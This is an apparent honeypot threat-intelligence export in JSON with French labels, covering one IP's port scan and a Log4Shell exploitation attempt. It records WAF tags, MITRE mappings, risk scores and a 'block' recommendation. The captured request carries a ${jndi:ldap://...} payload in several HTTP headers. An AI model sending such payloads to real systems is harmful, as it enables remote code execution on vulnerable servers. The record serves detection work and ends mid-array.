{"ip":"185.244.155.23","exported_at":"2026-11-05T15:57:00+00:00","period_days":30,"metrics":{"events7d":0,"distinct_ports":0,"distinct_classifications":0,"max_severity":null,"last_sensor_id":"paris-1","max_waf_score":null,"max_risk_score":100,"attack_stage":"recon","attack_chain_stage":"reconnaissance","threat_family":["scanner"],"recommended_action":"monitor","confidence":0.08,"risk_breakdown":{"waf":8,"classification":50,"behavior":0,"geo":0,"protocol":8,"novelty":0},"mitre_tactics":["TA0043"],"mitre_technique":"TA0043","top_mitre_technique":"T1046","top_mitre_count":648,"executive_one_liner_fr":"Activit\u00e9 suspecte \u2014 risque 34\/100 (Faible) \u2014 MITRE TA0043 \u2014 confiance 8 % \u2014 multi-protocole (25 protocoles \u00b7 5 min)","campaign_hint_fr":null,"confidence_breakdown":{"waf":8,"classification":50,"behavior":0,"geo":0,"protocol":8,"novelty":0,"risk_score":34,"correlation_boost":8},"persona_hostname":"mail.sensor-1.internal","correlation_flags":["multi_protocol_correlation"],"correlation_flags_labels_fr":["Multi-protocole corr\u00e9l\u00e9 (5 min)"],"confidence_pct":8,"confidence_hint_fr":"Corr\u00e9lation +8","sensor_role_label_fr":"Renseignement menaces","tags_summary_labels_fr":[],"tags_summary":[],"attack_vector":"port scan stealth \u00b7 port 20787 \u00b7 (reconnaissance)","protocol_details":{"port":20787},"protocol_summary_fr":null,"evidence_snippet":null,"target_port_label":"20787","emulator_service":null,"confidence_reason":"Confiance 0 % \u2014 1 signal(aux) capteur","classification_reason":"Type \u00ab port_scan_stealth \u00bb (signaux protocolaires) \u00b7 confiance 0%","classification_reason_label_fr":"Type \u00ab Scan de ports \u00bb (signaux protocolaires) \u00b7 confiance 0%","confidence_factors_fr":"Confiance 8 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8","payload_preview":null,"open_intel":{"source":"Emerging Threats open","status":"ok","matched":false,"label_fr":null,"detail_fr":null},"open_intel_ipsum":{"source":"IPsum","status":"ok","matched":false,"label_fr":null,"detail_fr":null},"open_intel_cins":{"source":"CINS Army","status":"ok","matched":false,"label_fr":null,"detail_fr":null}},"dnsbl":{"query":"23.155.244.185.dnsbl.blacklistip.com","listed":false,"available":false,"response":null,"meaning":null,"label":null},"events":[{"id":7107626,"ip":"185.244.155.23","ts":"2026-10-23 11:49:15.000000","proto":"tcp","src_port":21969,"dst_port":20787,"service":null,"classification":"port_scan_stealth","waf_score":null,"waf_tags":null,"http_method":null,"http_target":null,"sensor_id":"paris-1","meta":"{\u0022bytes_in\u0022: 0, \u0022payload_entropy\u0022: 0.0, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022service\u0022: null, \u0022app_proto\u0022: null, \u0022asn\u0022: 206206, \u0022country\u0022: \u0022IQ\u0022, \u0022dst_port\u0022: 20787, \u0022risk_waf\u0022: 8.0, \u0022risk_classification\u0022: 50.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 0.0, \u0022risk_protocol\u0022: 8.0, \u0022risk_novelty\u0022: 0.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 3.1, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 8.0, \u0022classification\u0022: 50.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 8.0, \u0022novelty\u0022: 0.0}, \u0022risk_score\u0022: 34, \u0022tag_count\u0022: 1, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u002262c6e4e2fe5309aa6128f434aad7ce5c36a5bee5\u0022, \u0022event_fingerprint\u0022: \u00226ed5a2cdbd8a2bfec145c9aa3bd4ac8ede241d37\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_stealth \u00bb (signaux protocolaires) \u00b7 confiance 0%\u0022, \u0022confidence\u0022: 0.08, \u0022classification_confidence\u0022: 0.08, \u0022precision_score\u0022: 0, \u0022precision_signals\u0022: [], \u0022kb_rule_ids\u0022: [], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 8.0, \u0022classification\u0022: 50.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 8.0, \u0022novelty\u0022: 0.0, \u0022risk_score\u0022: 34, \u0022correlation_boost\u0022: 8}, \u0022named_classification_skipped\u0022: false, \u0022risk_confidence_factor\u0022: 0.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022IQ\u0022, \u0022asn\u0022: 206206, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022path_pattern_hash\u0022: \u0022df4441ff2bea14af3b1ec2e54f855ff4\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 20787, \u0022risk_score\u0022: 34}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022mitre_tactics\u0022: [\u0022TA0043\u0022], \u0022mitre\u0022: \u0022TA0043\u0022, \u0022threat_family\u0022: [\u0022scanner\u0022], \u0022recommended_client_action\u0022: \u0022monitor\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u0022efda24b647e9b2f295a9fa6e2ad73b9469037104\u0022, \u0022protocol_details\u0022: {\u0022port\u0022: 20787}, \u0022attack_vector\u0022: \u0022port scan stealth \u00b7 port 20787 \u00b7 (reconnaissance)\u0022, \u0022target_port_label\u0022: \u002220787\u0022, \u0022confidence_reason\u0022: \u0022Confiance 0 % \u2014 1 signal(aux) capteur\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_stealth \u00bb (signaux protocolaires) \u00b7 confiance 0%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab port_scan_stealth \u00bb (signaux protocolaires) \u00b7 confiance 0%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 34\/100 (Faible) \u2014 MITRE TA0043 \u2014 confiance 8 % \u2014 multi-protocole (25 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 8, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 8.0, \u0022classification\u0022: 50.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 8.0, \u0022novelty\u0022: 0.0, \u0022risk_score\u0022: 34, \u0022correlation_boost\u0022: 8}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022attack_stage_label\u0022: \u0022Reconnaissance\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 34, \u0022risk_label\u0022: \u0022Faible\u0022, \u0022service_name\u0022: null, \u0022service_label_fr\u0022: null, \u0022dst_port\u0022: 20787, \u0022protocol_emulated\u0022: null, \u0022tags_summary\u0022: null, \u0022tags_summary_labels_fr\u0022: null, \u0022recommended_action\u0022: \u0022monitor\u0022, \u0022recommended_action_label\u0022: \u0022Surveiller\u0022, \u0022mitre\u0022: \u0022TA0043\u0022, \u0022mitre_technique\u0022: \u0022TA0043\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot\u0022, \u0022correlation_flags\u0022: [\u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +8\u0022, \u0022protocol_details\u0022: {\u0022port\u0022: 20787}, \u0022attack_vector\u0022: \u0022port scan stealth \u00b7 port 20787 \u00b7 (reconnaissance)\u0022, \u0022evidence_snippet\u0022: null, \u0022target_port_label\u0022: \u002220787\u0022, \u0022emulator_service\u0022: null, \u0022confidence_reason\u0022: \u0022Confiance 0 % \u2014 1 signal(aux) capteur\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 8 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8\u0022, \u0022campaign_hint_fr\u0022: null, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022generic\u0022, \u0022service_banner\u0022: \u0022honeypot\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u002220787\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 25, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022port:20498\u0022, \u0022port:20500\u0022, \u0022port:20501\u0022, \u0022port:20504\u0022, \u0022port:20506\u0022, \u0022port:20539\u0022, \u0022port:20571\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022behavior_alerts\u0022: [\u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 8, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022matched_patterns\u0022: [], \u0022ban_policy\u0022: \u0022advisory_monitor\u0022, \u0022tags_list\u0022: [\u0022net_port_scan_slow\u0022], \u0022behavior_alert_count\u0022: 3, \u0022behavior_priority\u0022: 84}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":null,"http_host":null,"http_user_agent":null,"http_referer":null,"tags":"[\u0022net_port_scan_slow\u0022]","anomalies":"[]","severity":5,"bytes_in":0},{"id":7106966,"ip":"185.244.155.23","ts":"2026-10-23 11:47:24.000000","proto":"tcp","src_port":16323,"dst_port":20627,"service":"http","classification":"log4j_jndi","waf_score":80,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950406:ssrf-3\u0022, \u0022950407:ssrf-3\u0022, \u0022950418:jndi-0\u0022, \u0022950419:jndi-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022, \u0022950585:cache-poison-xfh\u0022, \u0022951010:log4shell-jndi\u0022, \u0022951011:log4shell-jndi\u0022]","http_method":"POST","http_target":"\/index","sensor_id":"paris-1","meta":"{\u0022http_header_count\u0022: 10, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 1, \u0022http_path_ext\u0022: null, \u0022http_ua_hash\u0022: \u00229099dc59441e2d2192397bd8085a27b01c5d1618\u0022, \u0022http_host_hash\u0022: \u0022658a63f73e29eaf9f753c1a581fbe0c2e10885a5\u0022, \u0022http_target_hash\u0022: \u00228e47fde48da1cadec05758f04a38777ad6d3addf\u0022, \u0022http_referer_hash\u0022: \u00229099dc59441e2d2192397bd8085a27b01c5d1618\u0022, \u0022http_method\u0022: \u0022POST\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: false, \u0022bytes_in\u0022: 623, \u0022payload_entropy\u0022: 5.341784559733147, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 206206, \u0022country\u0022: \u0022IQ\u0022, \u0022dst_port\u0022: 20627, \u0022risk_waf\u0022: 100.0, \u0022risk_classification\u0022: 94.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 0.0, \u0022risk_protocol\u0022: 43.0, \u0022risk_novelty\u0022: 25.0, \u0022risk_boost\u0022: 48, \u0022risk_granularity\u0022: 4.9, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 94.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0}, \u0022risk_score\u0022: 100, \u0022tag_count\u0022: 21, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022ce434eab82e64ab74dfbffa7a197d410cfa409f5\u0022, \u0022event_fingerprint\u0022: \u002288b643074edb6f6db33d2a2544313f2bb0cc32d0\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 582, \u0022precision_signals\u0022: [\u0022ET-EXPLOIT-Log4j\u0022, \u0022INT-http_log4j\u0022, \u0022pat-fb-001\u0022, \u0022ET-EXPLOIT-Log4j-sub\u0022], \u0022kb_rule_ids\u0022: [\u0022ET-EXPLOIT-Log4j\u0022, \u0022INT-http_log4j\u0022, \u0022pat-fb-001\u0022, \u0022ET-EXPLOIT-Log4j-sub\u0022], \u0022matched_patterns\u0022: [\u0022pat-fb-001\u0022], \u0022matched_pattern_names\u0022: [\u0022Log4j JNDI\u0022], \u0022pattern_ids\u0022: [\u0022pat-fb-001\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 94.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 100, \u0022correlation_boost\u0022: 14}, \u0022named_classification_skipped\u0022: false, \u0022classification_parent\u0022: \u0022log4shell_probe\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 95.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022IQ\u0022, \u0022asn\u0022: 206206, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u0022bb4321ca83c9f7c88b5bb0da91327277\u0022, \u0022payload_hash\u0022: \u0022aadfdd5a3228a798a0a340fa2dfda46b\u0022, \u0022path_pattern_hash\u0022: \u00223f750c643c261e6a46c3c1472f69cf02\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 20627, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 100}, \u0022payload_preview\u0022: \u0022POST \/index HTTP\/1.1\\r\\nHost: 62.3.50.33:20627\\r\\nConnection: close\\r\\nContent-Length: 75\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:4\u0022, \u0022method\u0022: \u0022POST\u0022, \u0022path\u0022: \u0022\/index\u0022, \u0022user_agent\u0022: \u0022${jndi:ldap:\/\/192.168.195.130:4602\/Log4ShellPayload}\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950406:ssrf-3\u0022, \u0022950407:ssrf-3\u0022, \u0022950418:jndi-0\u0022, \u0022950419:jndi-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022, \u0022950585:cache-poison-xfh\u0022, \u0022951010:log4shell-jndi\u0022, \u0022951011:log4shell-jndi\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022ssrf-3\u0022, \u0022jndi-0\u0022, \u0022nosqli-3\u0022, \u0022cache-poison-xfh\u0022, \u0022log4shell-jndi\u0022], \u0022request_line\u0022: \u0022POST \/index HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022POST \/index HTTP\/1.1\\r\\nHost: 62.3.50.33:20627\\r\\nConnection: close\\r\\nContent-Length: 75\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:4602\/Log4ShellPayload}\\r\\nX-Forwarded-For: ${jndi:ldap:\/\/192.168.195.130:4602\/Log4ShellPayload}\\r\\nX-Api-Version: ${jndi:ldap:\/\/192.1\u0022, \u0022payload_snippet\u0022: \u0022POST \/index HTTP\/1.1\\r\\nHost: 62.3.50.33:20627\\r\\nConnection: close\\r\\nContent-Length: 75\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:4\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022POST\u0022, \u0022path\u0022: \u0022\/index\u0022, \u0022user_agent\u0022: \u0022${jndi:ldap:\/\/192.168.195.130:4602\/Log4ShellPayload}\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950406:ssrf-3\u0022, \u0022950407:ssrf-3\u0022, \u0022950418:jndi-0\u0022, \u0022950419:jndi-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022, \u0022950585:cache-poison-xfh\u0022, \u0022951010:log4shell-jndi\u0022, \u0022951011:log4shell-jndi\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022ssrf-3\u0022, \u0022jndi-0\u0022, \u0022nosqli-3\u0022, \u0022cache-poison-xfh\u0022, \u0022log4shell-jndi\u0022], \u0022request_line\u0022: \u0022POST \/index HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022POST \/index HTTP\/1.1\\r\\nHost: 62.3.50.33:20627\\r\\nConnection: close\\r\\nContent-Length: 75\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:4602\/Log4ShellPayload}\\r\\nX-Forwarded-For: ${jndi:ldap:\/\/192.168.195.130:4602\/Log4ShellPayload}\\r\\nX-Api-Version: ${jndi:ldap:\/\/192.1\u0022, \u0022payload_snippet\u0022: \u0022POST \/index HTTP\/1.1\\r\\nHost: 62.3.50.33:20627\\r\\nConnection: close\\r\\nContent-Length: 75\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:4\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%\u0022}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022mitre_tactics\u0022: [\u0022TA0001\u0022, \u0022TA0002\u0022], \u0022mitre_techniques\u0022: [\u0022T1190\u0022, \u0022T1059\u0022], \u0022mitre\u0022: \u0022T1190\u0022, \u0022threat_family\u0022: [\u0022log4shell_probe\u0022], \u0022recommended_client_action\u0022: \u0022block\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u00229da30e1a4f90bc8227ce6080d5329155cf4ea3cb\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022POST\u0022, \u0022http_path\u0022: \u0022\/index\u0022, \u0022request_line\u0022: \u0022POST \/index HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022${jndi:ldap:\/\/192.168.195.130:4602\/Log4ShellPayload}\u0022, \u0022port\u0022: 20627, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022POST \/index HTTP\/1.1\\r\\nHost: 62.3.50.33:20627\\r\\nConnection: close\\r\\nContent-Length: 75\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:4\u0022, \u0022attack_vector\u0022: \u0022log4j jndi \u00b7 via HTTP:20627 \u00b7 (tentative d\u0027exploit) \u00b7 \u2192 \/index\u0022, \u0022target_port_label\u0022: \u002220627 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 11 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 100\/100 (Critique) \u2014 MITRE T1190 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (63 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 94.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 100, \u0022correlation_boost\u0022: 14}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022attack_stage_label\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022attack_chain_stage\u0022: \u0022exploitation\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Exploitation\u0022, \u0022risk_score\u0022: 100, \u0022risk_label\u0022: \u0022Critique\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 20627, \u0022protocol_emulated\u0022: null, \u0022tags_summary\u0022: [\u0022ET-EXPLOIT-Log4j\u0022, \u0022INT-http_log4j\u0022, \u0022pat-fb-001\u0022, \u0022ET-EXPLOIT-Log4j-sub\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022ET-EXPLOIT-Log4j\u0022, \u0022Http Log4J\u0022, \u0022pat-fb-001\u0022, \u0022ET-EXPLOIT-Log4j-sub\u0022], \u0022recommended_action\u0022: \u0022block\u0022, \u0022recommended_action_label\u0022: \u0022Bloquer (recommand\u00e9)\u0022, \u0022mitre\u0022: \u0022T1190\u0022, \u0022mitre_technique\u0022: \u0022T1190\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022campagne_ports\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Campagne multi-ports\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +14\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022POST\u0022, \u0022http_path\u0022: \u0022\/index\u0022, \u0022request_line\u0022: \u0022POST \/index HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022${jndi:ldap:\/\/192.168.195.130:4602\/Log4ShellPayload}\u0022, \u0022port\u0022: 20627, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022log4j jndi \u00b7 via HTTP:20627 \u00b7 (tentative d\u0027exploit) \u00b7 \u2192 \/index\u0022, \u0022evidence_snippet\u0022: \u0022POST \/index HTTP\/1.1\\r\\nHost: 62.3.50.33:20627\\r\\nConnection: close\\r\\nContent-Length: 75\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:4\u0022, \u0022target_port_label\u0022: \u002220627 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 11 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +14 \u00b7 11 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne multi-ports d\u00e9tect\u00e9e sur une fen\u00eatre courte\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploitation\u0022, \u0022label_fr\u0022: \u0022Exploitation\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u002220627\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022port_scan_campaign\u0022: true, \u0022port_scan_distinct_ports\u0022: 5, \u0022port_scan_ports_sample\u0022: [20627, 20634, 20639, 20787, 31832], \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 63, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022port:20361\u0022, \u0022port:20480\u0022, \u0022port:20493\u0022, \u0022port:20495\u0022, \u0022port:20496\u0022, \u0022port:20498\u0022, \u0022port:20499\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022behavior_alerts\u0022: [\u0022port_scan_campaign\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 14, \u0022attack_chain_stage\u0022: \u0022exploitation\u0022, \u0022ban_policy\u0022: \u0022advisory_block\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950406:ssrf-3\u0022, \u0022950407:ssrf-3\u0022, \u0022950418:jndi-0\u0022, \u0022950419:jndi-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022, \u0022950585:cache-poison-xfh\u0022, \u0022951010:log4shell-jndi\u0022, \u0022951011:log4shell-jndi\u0022, \u0022http_credential_body\u0022, \u0022http_dns_rebinding\u0022, \u0022http_header_x-forwarded-for\u0022, \u0022http_header_x-forwarded-host\u0022, \u0022http_host_mismatch\u0022, \u0022http_jndi\u0022, \u0022http_jwt_body\u0022, \u0022http_log4shell\u0022, \u0022http_ssti\u0022, \u0022net_port_scan_slow\u0022]}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"62.3.50.33:20627","http_user_agent":"${jndi:ldap:\/\/192.168.195.130:4602\/Log4ShellPayload}","http_referer":"${jndi:ldap:\/\/192.168.195.130:4602\/Log4ShellPayload}","tags":"[\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950406:ssrf-3\u0022, \u0022950407:ssrf-3\u0022, \u0022950418:jndi-0\u0022, \u0022950419:jndi-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022, \u0022950585:cache-poison-xfh\u0022, \u0022951010:log4shell-jndi\u0022, \u0022951011:log4shell-jndi\u0022, \u0022http_credential_body\u0022, \u0022http_dns_rebinding\u0022, \u0022http_header_x-forwarded-for\u0022, \u0022http_header_x-forwarded-host\u0022, \u0022http_host_mismatch\u0022, \u0022http_jndi\u0022, \u0022http_jwt_body\u0022, \u0022http_log4shell\u0022, \u0022http_ssti\u0022, 